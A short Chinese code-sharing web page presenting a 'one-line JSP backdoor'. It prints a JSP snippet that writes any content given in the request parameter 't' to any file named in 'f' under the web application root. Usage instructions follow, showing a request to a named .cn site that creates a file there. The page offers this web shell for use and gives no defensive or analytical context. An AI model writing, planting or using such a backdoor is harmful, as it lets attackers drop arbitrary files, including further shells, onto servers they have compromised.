当前位置:主页 > 软件编程 > JSP代码 >

JSP一句话后门

时间:2021-06-25 09:28:14 | 栏目:JSP代码 | 点击:

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>


使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld

然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld 

您可能感兴趣的文章:

相关文章